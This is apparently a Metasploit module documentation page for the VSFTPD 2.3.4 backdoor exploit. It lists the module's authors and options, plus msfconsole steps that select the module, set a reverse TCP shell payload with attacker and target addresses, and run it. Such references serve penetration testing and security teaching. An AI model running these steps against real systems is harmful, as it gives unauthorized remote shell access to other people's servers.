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VSFTPD v2.3.4 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

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Exploit Rank

  • Excellent

Exploit Authors

  • hdm < hdm [at] metasploit.com >
  • MC < mc [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show payloads
msf exploit(vsftpd_234_backdoor) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(vsftpd_234_backdoor) > set LHOST [MY IP ADDRESS]
msf exploit(vsftpd_234_backdoor) > set RHOST [TARGET IP]
msf exploit(vsftpd_234_backdoor) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 21)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)